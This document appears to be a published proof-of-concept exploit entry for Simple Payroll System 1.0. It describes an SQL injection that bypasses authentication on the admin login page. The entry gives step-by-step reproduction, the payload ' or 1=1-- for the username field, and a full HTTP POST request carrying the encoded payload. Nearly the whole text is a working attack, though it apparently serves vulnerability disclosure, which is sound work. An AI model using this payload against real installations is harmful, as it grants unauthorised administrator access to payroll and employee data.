Simple Payroll System 1.0 SQL Injection

`# Exploit Title: Simple Payroll System 1.0 - SQLi Authentication Bypass  
# Date: 2021-10-09  
# Exploit Author: Yash Mahajan  
# Vendor Homepage: https://www.sourcecodester.com/php/14974/simple-payroll-system-dynamic-tax-bracket-php-using-sqlite-free-source-code.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple_payroll_0.zip  
# Version: 1.0  
# Tested on: Windows 10  
# Description: Simple Payroll System v1.0 Login page can be bypassed with a SQLi into the username parameter.  
  
Steps To Reproduce:  
  
1 - Navigate to http://localhost/simple_payroll/admin/login.php  
2 - Enter the payload into the username field as "' or 1=1-- " without double-quotes and type anything into the password field.  
3 - Click on "Login" button and you are logged in as administrator.  
  
Proof Of Concept:  
  
POST /simple_payroll/Actions.php?a=login HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 37  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/simple_payroll/admin/login.php  
Cookie: PHPSESSID=ijad04l4pfb2oec6u2vmi4ll9p  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
  
username='+or+1%3D1--+&password=admin  
`